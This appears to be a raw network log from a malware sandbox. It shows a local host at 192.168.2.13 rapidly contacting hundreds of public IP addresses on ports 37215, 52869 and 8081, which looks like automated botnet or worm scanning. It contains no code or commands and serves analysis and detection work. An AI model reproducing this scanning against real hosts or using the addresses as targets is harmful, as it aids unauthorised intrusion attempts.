Jul 20, 2024 23:05:41.505635023 CEST	37215	44719	157.147.167.60	192.168.2.13
Jul 20, 2024 23:05:41.505645037 CEST	37215	44719	197.115.45.137	192.168.2.13
Jul 20, 2024 23:05:41.505656004 CEST	37215	44719	41.39.10.67	192.168.2.13
Jul 20, 2024 23:05:41.505666018 CEST	37215	44719	197.120.135.100	192.168.2.13
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	155.188.0.225
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	19.197.253.210
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	199.200.28.239
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	183.2.3.229
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	203.68.243.25
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	203.110.53.35
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	161.47.225.191
Jul 20, 2024 23:05:41.505911112 CEST	43695	52869	192.168.2.13	64.163.90.195
Jul 20, 2024 23:05:41.506237030 CEST	43695	52869	192.168.2.13	153.45.45.147
Jul 20, 2024 23:05:41.506237030 CEST	43695	52869	192.168.2.13	218.189.225.43
Jul 20, 2024 23:05:41.506237030 CEST	43695	52869	192.168.2.13	190.87.120.121
Jul 20, 2024 23:05:41.506237030 CEST	43695	52869	192.168.2.13	105.223.228.154
Jul 20, 2024 23:05:41.506237984 CEST	43695	52869	192.168.2.13	40.115.129.129
Jul 20, 2024 23:05:41.506237984 CEST	43695	52869	192.168.2.13	147.213.201.10
Jul 20, 2024 23:05:41.506237984 CEST	43695	52869	192.168.2.13	140.210.195.219
Jul 20, 2024 23:05:41.506237984 CEST	43695	52869	192.168.2.13	2.142.24.112
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	95.86.141.240
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	184.111.41.200
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	38.60.255.195
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	51.243.155.98
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	171.137.77.53
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	70.214.95.85
Jul 20, 2024 23:05:41.506388903 CEST	43695	52869	192.168.2.13	12.187.5.232
Jul 20, 2024 23:05:41.506390095 CEST	43695	52869	192.168.2.13	173.130.197.3
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	59.246.178.189
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	105.28.91.106
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	49.244.202.251
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	57.30.102.229
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	75.198.187.137
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	199.245.3.145
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	191.236.44.151
Jul 20, 2024 23:05:41.506547928 CEST	43695	52869	192.168.2.13	88.214.109.161
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	18.8.77.253
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	114.28.59.216
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	52.84.19.78
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	20.126.44.94
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	79.196.192.142
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	134.55.130.39
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	71.10.225.107
Jul 20, 2024 23:05:41.506866932 CEST	43695	52869	192.168.2.13	135.3.95.96
Jul 20, 2024 23:05:41.507556915 CEST	44719	37215	192.168.2.13	131.228.228.203
Jul 20, 2024 23:05:41.507556915 CEST	44719	37215	192.168.2.13	197.255.79.72
Jul 20, 2024 23:05:41.507556915 CEST	44719	37215	192.168.2.13	153.193.210.52
Jul 20, 2024 23:05:41.507556915 CEST	44719	37215	192.168.2.13	41.193.165.102
Jul 20, 2024 23:05:41.507556915 CEST	44719	37215	192.168.2.13	41.41.223.240
Jul 20, 2024 23:05:41.507556915 CEST	44719	37215	192.168.2.13	157.147.167.60
Jul 20, 2024 23:05:41.509501934 CEST	37215	44719	65.119.48.228	192.168.2.13
Jul 20, 2024 23:05:41.509512901 CEST	37215	44719	41.105.57.188	192.168.2.13
Jul 20, 2024 23:05:41.509521961 CEST	37215	44719	197.30.62.228	192.168.2.13
Jul 20, 2024 23:05:41.509645939 CEST	37215	44719	157.202.10.230	192.168.2.13
Jul 20, 2024 23:05:41.509668112 CEST	37215	44719	157.135.7.18	192.168.2.13
Jul 20, 2024 23:05:41.509676933 CEST	37215	44719	157.126.31.134	192.168.2.13
Jul 20, 2024 23:05:41.509685993 CEST	37215	44719	41.191.103.146	192.168.2.13
Jul 20, 2024 23:05:41.509695053 CEST	37215	44719	41.64.18.125	192.168.2.13
Jul 20, 2024 23:05:41.509712934 CEST	37215	44719	157.220.203.250	192.168.2.13
Jul 20, 2024 23:05:41.509721994 CEST	37215	44719	157.107.191.155	192.168.2.13
Jul 20, 2024 23:05:41.509731054 CEST	37215	44719	116.208.226.226	192.168.2.13
Jul 20, 2024 23:05:41.509735107 CEST	37215	44719	41.168.139.245	192.168.2.13
Jul 20, 2024 23:05:41.509744883 CEST	37215	44719	157.80.213.228	192.168.2.13
Jul 20, 2024 23:05:41.509754896 CEST	37215	44719	135.98.243.132	192.168.2.13
Jul 20, 2024 23:05:41.509763956 CEST	37215	44719	197.76.0.229	192.168.2.13
Jul 20, 2024 23:05:41.509773970 CEST	37215	44719	41.106.42.191	192.168.2.13
Jul 20, 2024 23:05:41.509783030 CEST	37215	44719	197.179.79.150	192.168.2.13
Jul 20, 2024 23:05:41.509792089 CEST	37215	44719	38.168.157.192	192.168.2.13
Jul 20, 2024 23:05:41.509800911 CEST	37215	44719	197.184.137.139	192.168.2.13
Jul 20, 2024 23:05:41.509810925 CEST	37215	44719	65.174.41.86	192.168.2.13
Jul 20, 2024 23:05:41.509819984 CEST	37215	44719	146.222.102.127	192.168.2.13
Jul 20, 2024 23:05:41.509829998 CEST	37215	44719	197.47.211.249	192.168.2.13
Jul 20, 2024 23:05:41.509954929 CEST	37215	44719	197.172.132.233	192.168.2.13
Jul 20, 2024 23:05:41.509964943 CEST	37215	44719	197.57.194.130	192.168.2.13
Jul 20, 2024 23:05:41.509974003 CEST	37215	44719	157.227.179.233	192.168.2.13
Jul 20, 2024 23:05:41.509983063 CEST	37215	44719	197.126.225.158	192.168.2.13
Jul 20, 2024 23:05:41.509991884 CEST	37215	44719	157.219.203.22	192.168.2.13
Jul 20, 2024 23:05:41.510088921 CEST	37215	44719	197.90.44.159	192.168.2.13
Jul 20, 2024 23:05:41.510099888 CEST	37215	44719	41.17.22.204	192.168.2.13
Jul 20, 2024 23:05:41.510109901 CEST	37215	44719	110.154.150.23	192.168.2.13
Jul 20, 2024 23:05:41.510118961 CEST	37215	44719	41.210.39.3	192.168.2.13
Jul 20, 2024 23:05:41.510128021 CEST	37215	44719	197.252.13.220	192.168.2.13
Jul 20, 2024 23:05:41.510138035 CEST	37215	44719	201.209.47.165	192.168.2.13
Jul 20, 2024 23:05:41.510147095 CEST	37215	44719	41.5.193.242	192.168.2.13
Jul 20, 2024 23:05:41.510155916 CEST	37215	44719	197.45.179.250	192.168.2.13
Jul 20, 2024 23:05:41.510174990 CEST	37215	44719	41.252.135.160	192.168.2.13
Jul 20, 2024 23:05:41.510184050 CEST	37215	44719	157.90.19.225	192.168.2.13
Jul 20, 2024 23:05:41.510193110 CEST	37215	44719	129.116.240.98	192.168.2.13
Jul 20, 2024 23:05:41.510202885 CEST	37215	44719	41.180.12.169	192.168.2.13
Jul 20, 2024 23:05:41.510210991 CEST	37215	44719	13.183.93.99	192.168.2.13
Jul 20, 2024 23:05:41.510220051 CEST	37215	44719	157.94.183.114	192.168.2.13
Jul 20, 2024 23:05:41.510229111 CEST	37215	44719	104.35.91.65	192.168.2.13
Jul 20, 2024 23:05:41.510237932 CEST	37215	44719	157.186.253.212	192.168.2.13
Jul 20, 2024 23:05:41.510246038 CEST	37215	44719	197.129.53.148	192.168.2.13
Jul 20, 2024 23:05:41.510256052 CEST	37215	44719	9.182.75.133	192.168.2.13
Jul 20, 2024 23:05:41.510265112 CEST	37215	44719	197.51.255.102	192.168.2.13
Jul 20, 2024 23:05:41.510283947 CEST	37215	44719	157.42.27.186	192.168.2.13
Jul 20, 2024 23:05:41.510294914 CEST	37215	44719	41.134.206.160	192.168.2.13
Jul 20, 2024 23:05:41.510318041 CEST	37215	44719	157.151.99.100	192.168.2.13
Jul 20, 2024 23:05:41.510327101 CEST	37215	44719	209.182.37.222	192.168.2.13
Jul 20, 2024 23:05:41.510338068 CEST	37215	44719	41.229.139.144	192.168.2.13
Jul 20, 2024 23:05:41.510346889 CEST	37215	44719	41.16.89.121	192.168.2.13
Jul 20, 2024 23:05:41.510355949 CEST	37215	44719	212.105.134.173	192.168.2.13
Jul 20, 2024 23:05:41.510365009 CEST	37215	44719	197.232.164.48	192.168.2.13
Jul 20, 2024 23:05:41.510375023 CEST	37215	44719	157.49.150.201	192.168.2.13
Jul 20, 2024 23:05:41.510382891 CEST	37215	44719	157.71.57.101	192.168.2.13
Jul 20, 2024 23:05:41.510391951 CEST	37215	44719	197.172.113.217	192.168.2.13
Jul 20, 2024 23:05:41.510401964 CEST	37215	44719	174.172.79.21	192.168.2.13
Jul 20, 2024 23:05:41.510411024 CEST	37215	44719	157.84.205.227	192.168.2.13
Jul 20, 2024 23:05:41.510420084 CEST	37215	44719	157.53.54.112	192.168.2.13
Jul 20, 2024 23:05:41.510428905 CEST	37215	44719	41.115.82.135	192.168.2.13
Jul 20, 2024 23:05:41.510437965 CEST	37215	44719	41.110.16.248	192.168.2.13
Jul 20, 2024 23:05:41.510457993 CEST	37215	44719	197.7.223.27	192.168.2.13
Jul 20, 2024 23:05:41.510467052 CEST	37215	44719	157.218.13.110	192.168.2.13
Jul 20, 2024 23:05:41.510476112 CEST	37215	44719	197.5.3.121	192.168.2.13
Jul 20, 2024 23:05:41.510484934 CEST	37215	44719	41.170.198.109	192.168.2.13
Jul 20, 2024 23:05:41.510494947 CEST	37215	44719	114.206.232.42	192.168.2.13
Jul 20, 2024 23:05:41.510518074 CEST	37215	44719	41.54.130.64	192.168.2.13
Jul 20, 2024 23:05:41.510530949 CEST	37215	44719	197.108.240.167	192.168.2.13
Jul 20, 2024 23:05:41.510540962 CEST	37215	44719	41.191.67.28	192.168.2.13
Jul 20, 2024 23:05:41.510550976 CEST	37215	44719	74.209.208.65	192.168.2.13
Jul 20, 2024 23:05:41.510570049 CEST	37215	44719	157.183.213.116	192.168.2.13
Jul 20, 2024 23:05:41.510580063 CEST	37215	44719	197.233.17.173	192.168.2.13
Jul 20, 2024 23:05:41.510588884 CEST	37215	44719	112.56.203.143	192.168.2.13
Jul 20, 2024 23:05:41.510598898 CEST	37215	44719	41.74.180.192	192.168.2.13
Jul 20, 2024 23:05:41.510607958 CEST	37215	44719	197.142.84.133	192.168.2.13
Jul 20, 2024 23:05:41.510626078 CEST	37215	44719	109.240.28.175	192.168.2.13
Jul 20, 2024 23:05:41.510634899 CEST	37215	44719	197.23.232.62	192.168.2.13
Jul 20, 2024 23:05:41.510646105 CEST	37215	44719	96.186.231.109	192.168.2.13
Jul 20, 2024 23:05:41.510654926 CEST	37215	44719	197.4.116.92	192.168.2.13
Jul 20, 2024 23:05:41.510663986 CEST	37215	44719	37.170.254.249	192.168.2.13
Jul 20, 2024 23:05:41.510673046 CEST	37215	44719	32.250.171.219	192.168.2.13
Jul 20, 2024 23:05:41.510682106 CEST	37215	44719	174.46.155.234	192.168.2.13
Jul 20, 2024 23:05:41.510691881 CEST	37215	44719	197.170.48.83	192.168.2.13
Jul 20, 2024 23:05:41.510700941 CEST	37215	44719	197.193.18.174	192.168.2.13
Jul 20, 2024 23:05:41.510710001 CEST	37215	44719	157.92.106.223	192.168.2.13
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	69.12.235.71
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	162.141.35.124
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	119.155.195.191
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	196.144.35.30
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	153.208.199.46
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	124.88.86.107
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	180.27.126.200
Jul 20, 2024 23:05:41.510749102 CEST	43695	52869	192.168.2.13	177.6.7.191
Jul 20, 2024 23:05:41.511435032 CEST	44719	37215	192.168.2.13	157.126.31.134
Jul 20, 2024 23:05:41.511435032 CEST	44719	37215	192.168.2.13	41.252.135.160
Jul 20, 2024 23:05:41.511435032 CEST	44719	37215	192.168.2.13	41.180.12.169
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	25.99.131.95
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	106.24.45.83
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	76.140.225.74
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	110.140.65.107
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	131.97.205.121
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	89.55.9.6
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	47.20.88.132
Jul 20, 2024 23:05:41.511831999 CEST	43695	52869	192.168.2.13	151.202.24.195
Jul 20, 2024 23:05:41.511943102 CEST	37215	44719	42.99.131.77	192.168.2.13
Jul 20, 2024 23:05:41.511954069 CEST	37215	44719	197.230.221.75	192.168.2.13
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	171.146.12.186
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	113.13.202.5
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	35.8.131.247
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	151.249.74.160
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	194.222.156.80
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	223.171.240.85
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	178.72.20.159
Jul 20, 2024 23:05:41.511960030 CEST	43695	52869	192.168.2.13	53.177.163.32
Jul 20, 2024 23:05:41.511964083 CEST	37215	44719	72.166.67.179	192.168.2.13
Jul 20, 2024 23:05:41.511972904 CEST	37215	44719	169.115.251.242	192.168.2.13
Jul 20, 2024 23:05:41.511981010 CEST	37215	44719	38.95.109.87	192.168.2.13
Jul 20, 2024 23:05:41.511991024 CEST	37215	44719	41.52.85.126	192.168.2.13
Jul 20, 2024 23:05:41.512110949 CEST	37215	44719	54.141.203.255	192.168.2.13
Jul 20, 2024 23:05:41.512120962 CEST	37215	44719	41.86.191.132	192.168.2.13
Jul 20, 2024 23:05:41.512130022 CEST	37215	44719	157.78.252.65	192.168.2.13
Jul 20, 2024 23:05:41.512270927 CEST	37215	44719	197.169.167.85	192.168.2.13
Jul 20, 2024 23:05:41.512279987 CEST	37215	44719	157.140.198.179	192.168.2.13
Jul 20, 2024 23:05:41.512289047 CEST	37215	44719	157.2.153.25	192.168.2.13
Jul 20, 2024 23:05:41.512306929 CEST	37215	44719	41.198.71.147	192.168.2.13
Jul 20, 2024 23:05:41.512841940 CEST	37215	44719	197.142.212.242	192.168.2.13
Jul 20, 2024 23:05:41.512856007 CEST	37215	44719	41.103.167.77	192.168.2.13
Jul 20, 2024 23:05:41.512866020 CEST	37215	44719	197.222.124.81	192.168.2.13
Jul 20, 2024 23:05:41.512876034 CEST	37215	44719	36.133.99.193	192.168.2.13
Jul 20, 2024 23:05:41.512885094 CEST	37215	44719	157.64.181.214	192.168.2.13
Jul 20, 2024 23:05:41.512896061 CEST	37215	44719	157.255.29.202	192.168.2.13
Jul 20, 2024 23:05:41.512904882 CEST	37215	44719	153.151.221.177	192.168.2.13
Jul 20, 2024 23:05:41.512914896 CEST	37215	44719	204.250.93.161	192.168.2.13
Jul 20, 2024 23:05:41.512923956 CEST	37215	44719	191.149.140.229	192.168.2.13
Jul 20, 2024 23:05:41.512933016 CEST	37215	44719	41.195.164.158	192.168.2.13
Jul 20, 2024 23:05:41.512943029 CEST	37215	44719	71.56.238.225	192.168.2.13
Jul 20, 2024 23:05:41.512952089 CEST	37215	44719	41.200.99.20	192.168.2.13
Jul 20, 2024 23:05:41.512960911 CEST	37215	44719	197.246.138.24	192.168.2.13
Jul 20, 2024 23:05:41.512970924 CEST	37215	44719	157.170.35.145	192.168.2.13
Jul 20, 2024 23:05:41.512979984 CEST	37215	44719	157.239.227.104	192.168.2.13
Jul 20, 2024 23:05:41.512989044 CEST	37215	44719	157.71.150.57	192.168.2.13
Jul 20, 2024 23:05:41.512998104 CEST	37215	44719	197.32.36.217	192.168.2.13
Jul 20, 2024 23:05:41.513006926 CEST	37215	44719	41.187.80.173	192.168.2.13
Jul 20, 2024 23:05:41.513022900 CEST	37215	44719	197.197.49.199	192.168.2.13
Jul 20, 2024 23:05:41.513032913 CEST	37215	44719	9.78.247.18	192.168.2.13
Jul 20, 2024 23:05:41.513042927 CEST	37215	44719	197.55.92.98	192.168.2.13
Jul 20, 2024 23:05:41.513051987 CEST	37215	44719	41.33.121.197	192.168.2.13
Jul 20, 2024 23:05:41.513061047 CEST	37215	44719	41.19.213.163	192.168.2.13
Jul 20, 2024 23:05:41.513071060 CEST	37215	44719	157.46.244.146	192.168.2.13
Jul 20, 2024 23:05:41.513079882 CEST	37215	44719	197.110.229.162	192.168.2.13
Jul 20, 2024 23:05:41.513096094 CEST	37215	44719	41.158.70.79	192.168.2.13
Jul 20, 2024 23:05:41.513104916 CEST	37215	44719	157.175.52.226	192.168.2.13
Jul 20, 2024 23:05:41.513113976 CEST	37215	44719	197.103.6.243	192.168.2.13
Jul 20, 2024 23:05:41.513123035 CEST	37215	44719	157.44.218.219	192.168.2.13
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	104.35.91.65
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	9.182.75.133
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	41.16.89.121
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	174.46.155.234
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	157.92.106.223
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	41.52.85.126
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	153.151.221.177
Jul 20, 2024 23:05:41.513128042 CEST	44719	37215	192.168.2.13	157.170.35.145
Jul 20, 2024 23:05:41.513133049 CEST	37215	44719	41.179.21.143	192.168.2.13
Jul 20, 2024 23:05:41.513142109 CEST	37215	44719	41.168.136.244	192.168.2.13
Jul 20, 2024 23:05:41.513154984 CEST	37215	44719	193.224.23.64	192.168.2.13
Jul 20, 2024 23:05:41.513164997 CEST	37215	44719	41.255.196.26	192.168.2.13
Jul 20, 2024 23:05:41.513174057 CEST	37215	44719	157.65.177.241	192.168.2.13
Jul 20, 2024 23:05:41.513183117 CEST	37215	44719	92.115.232.137	192.168.2.13
Jul 20, 2024 23:05:41.513191938 CEST	37215	44719	197.139.56.75	192.168.2.13
Jul 20, 2024 23:05:41.513200998 CEST	37215	44719	41.174.101.242	192.168.2.13
Jul 20, 2024 23:05:41.513210058 CEST	37215	44719	41.226.157.38	192.168.2.13
Jul 20, 2024 23:05:41.513219118 CEST	37215	44719	111.130.110.100	192.168.2.13
Jul 20, 2024 23:05:41.513227940 CEST	37215	44719	157.216.215.190	192.168.2.13
Jul 20, 2024 23:05:41.513237953 CEST	37215	44719	157.174.6.204	192.168.2.13
Jul 20, 2024 23:05:41.513247013 CEST	37215	44719	31.105.156.34	192.168.2.13
Jul 20, 2024 23:05:41.513256073 CEST	37215	44719	184.217.81.113	192.168.2.13
Jul 20, 2024 23:05:41.513264894 CEST	37215	44719	157.157.102.178	192.168.2.13
Jul 20, 2024 23:05:41.513273001 CEST	37215	44719	197.195.0.90	192.168.2.13
Jul 20, 2024 23:05:41.513282061 CEST	37215	44719	129.139.212.11	192.168.2.13
Jul 20, 2024 23:05:41.513292074 CEST	37215	44719	197.22.237.226	192.168.2.13
Jul 20, 2024 23:05:41.513307095 CEST	37215	44719	197.27.184.232	192.168.2.13
Jul 20, 2024 23:05:41.513319969 CEST	37215	44719	157.55.170.141	192.168.2.13
Jul 20, 2024 23:05:41.513329983 CEST	37215	44719	41.210.71.65	192.168.2.13
Jul 20, 2024 23:05:41.513339996 CEST	37215	44719	41.71.221.141	192.168.2.13
Jul 20, 2024 23:05:41.513349056 CEST	37215	44719	41.35.236.113	192.168.2.13
Jul 20, 2024 23:05:41.513358116 CEST	37215	44719	197.10.17.138	192.168.2.13
Jul 20, 2024 23:05:41.513366938 CEST	37215	44719	197.170.228.163	192.168.2.13
Jul 20, 2024 23:05:41.513376951 CEST	37215	44719	197.208.108.108	192.168.2.13
Jul 20, 2024 23:05:41.513387918 CEST	37215	44719	41.6.89.60	192.168.2.13
Jul 20, 2024 23:05:41.513397932 CEST	37215	44719	41.163.23.205	192.168.2.13
Jul 20, 2024 23:05:41.513406992 CEST	37215	44719	41.96.101.86	192.168.2.13
Jul 20, 2024 23:05:41.513417006 CEST	37215	44719	41.159.112.151	192.168.2.13
Jul 20, 2024 23:05:41.513426065 CEST	37215	44719	157.179.96.97	192.168.2.13
Jul 20, 2024 23:05:41.513436079 CEST	37215	44719	171.133.88.150	192.168.2.13
Jul 20, 2024 23:05:41.513444901 CEST	37215	44719	41.195.113.211	192.168.2.13
Jul 20, 2024 23:05:41.513453960 CEST	37215	44719	41.190.129.2	192.168.2.13
Jul 20, 2024 23:05:41.513464928 CEST	37215	44719	197.198.8.79	192.168.2.13
Jul 20, 2024 23:05:41.513473988 CEST	37215	44719	157.18.228.177	192.168.2.13
Jul 20, 2024 23:05:41.513483047 CEST	37215	44719	41.115.181.239	192.168.2.13
Jul 20, 2024 23:05:41.513493061 CEST	37215	44719	41.165.83.59	192.168.2.13
Jul 20, 2024 23:05:41.513501883 CEST	37215	44719	61.101.160.164	192.168.2.13
Jul 20, 2024 23:05:41.513510942 CEST	37215	44719	197.225.242.52	192.168.2.13
Jul 20, 2024 23:05:41.513520002 CEST	37215	44719	54.46.234.30	192.168.2.13
Jul 20, 2024 23:05:41.513530970 CEST	37215	44719	157.175.198.155	192.168.2.13
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	63.192.161.153
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	23.229.181.146
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	162.30.112.143
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	78.194.200.52
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	125.91.244.45
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	99.58.50.105
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	23.98.231.99
Jul 20, 2024 23:05:41.515208960 CEST	43695	52869	192.168.2.13	71.125.28.229
Jul 20, 2024 23:05:41.515249968 CEST	43695	52869	192.168.2.13	187.38.145.93
Jul 20, 2024 23:05:41.515249968 CEST	43695	52869	192.168.2.13	155.69.107.155
Jul 20, 2024 23:05:41.515249968 CEST	43695	52869	192.168.2.13	48.172.17.205
Jul 20, 2024 23:05:41.515249968 CEST	43695	52869	192.168.2.13	171.212.235.66
Jul 20, 2024 23:05:41.515249968 CEST	43695	52869	192.168.2.13	40.109.154.72
Jul 20, 2024 23:05:41.515249968 CEST	43695	52869	192.168.2.13	150.177.152.4
Jul 20, 2024 23:05:41.515250921 CEST	43695	52869	192.168.2.13	76.39.255.20
Jul 20, 2024 23:05:41.515250921 CEST	43695	52869	192.168.2.13	175.32.122.132
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	156.109.89.116
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	27.231.97.88
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	13.253.4.10
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	182.118.221.27
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	116.205.25.22
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	206.206.29.210
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	39.60.31.173
Jul 20, 2024 23:05:41.516661882 CEST	43695	52869	192.168.2.13	57.222.9.254
Jul 20, 2024 23:05:41.518137932 CEST	37215	44719	35.215.18.71	192.168.2.13
Jul 20, 2024 23:05:41.518158913 CEST	37215	44719	157.13.218.86	192.168.2.13
Jul 20, 2024 23:05:41.518459082 CEST	37215	44719	41.86.128.147	192.168.2.13
Jul 20, 2024 23:05:41.518470049 CEST	37215	44719	157.59.55.210	192.168.2.13
Jul 20, 2024 23:05:41.518490076 CEST	37215	44719	222.79.13.18	192.168.2.13
Jul 20, 2024 23:05:41.518497944 CEST	37215	44719	200.217.151.169	192.168.2.13
Jul 20, 2024 23:05:41.518507004 CEST	37215	44719	41.59.30.21	192.168.2.13
Jul 20, 2024 23:05:41.518516064 CEST	37215	44719	197.133.8.137	192.168.2.13
Jul 20, 2024 23:05:41.518524885 CEST	37215	44719	41.171.41.179	192.168.2.13
Jul 20, 2024 23:05:41.518527985 CEST	44719	37215	192.168.2.13	197.32.36.217
Jul 20, 2024 23:05:41.518527985 CEST	44719	37215	192.168.2.13	157.46.244.146
Jul 20, 2024 23:05:41.518528938 CEST	44719	37215	192.168.2.13	41.158.70.79
Jul 20, 2024 23:05:41.518528938 CEST	44719	37215	192.168.2.13	111.130.110.100
Jul 20, 2024 23:05:41.518528938 CEST	44719	37215	192.168.2.13	157.157.102.178
Jul 20, 2024 23:05:41.518533945 CEST	37215	44719	41.162.150.222	192.168.2.13
Jul 20, 2024 23:05:41.518543005 CEST	37215	44719	157.124.76.92	192.168.2.13
Jul 20, 2024 23:05:41.518552065 CEST	37215	44719	197.55.34.162	192.168.2.13
Jul 20, 2024 23:05:41.518562078 CEST	37215	44719	167.96.239.176	192.168.2.13
Jul 20, 2024 23:05:41.518572092 CEST	37215	44719	54.120.8.60	192.168.2.13
Jul 20, 2024 23:05:41.518580914 CEST	37215	44719	197.171.155.210	192.168.2.13
Jul 20, 2024 23:05:41.518590927 CEST	37215	44719	197.75.65.254	192.168.2.13
Jul 20, 2024 23:05:41.518610001 CEST	37215	44719	139.86.191.50	192.168.2.13
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	176.103.229.144
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	128.167.145.108
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	19.103.146.122
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	85.143.8.50
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	146.195.175.74
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	221.42.246.7
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	141.46.20.80
Jul 20, 2024 23:05:41.518657923 CEST	43695	52869	192.168.2.13	148.162.204.58
Jul 20, 2024 23:05:41.519587994 CEST	8081	43439	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:41.519606113 CEST	8081	43439	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:41.519623995 CEST	8081	43439	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:41.519633055 CEST	8081	43439	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:41.519642115 CEST	8081	43439	17.188.164.234	192.168.2.13
Jul 20, 2024 23:05:41.519650936 CEST	8081	43439	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:41.519660950 CEST	8081	43439	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:41.519670010 CEST	8081	43439	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:41.519723892 CEST	43695	52869	192.168.2.13	42.58.164.34
Jul 20, 2024 23:05:41.519723892 CEST	43695	52869	192.168.2.13	169.46.166.178
Jul 20, 2024 23:05:41.519723892 CEST	43695	52869	192.168.2.13	192.28.73.157
Jul 20, 2024 23:05:41.519723892 CEST	43695	52869	192.168.2.13	98.174.33.140
Jul 20, 2024 23:05:41.519723892 CEST	43695	52869	192.168.2.13	84.202.118.141
Jul 20, 2024 23:05:41.519723892 CEST	43695	52869	192.168.2.13	41.163.35.9
Jul 20, 2024 23:05:41.519725084 CEST	43695	52869	192.168.2.13	27.50.23.134
Jul 20, 2024 23:05:41.519725084 CEST	43695	52869	192.168.2.13	63.168.15.11
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	94.137.108.4
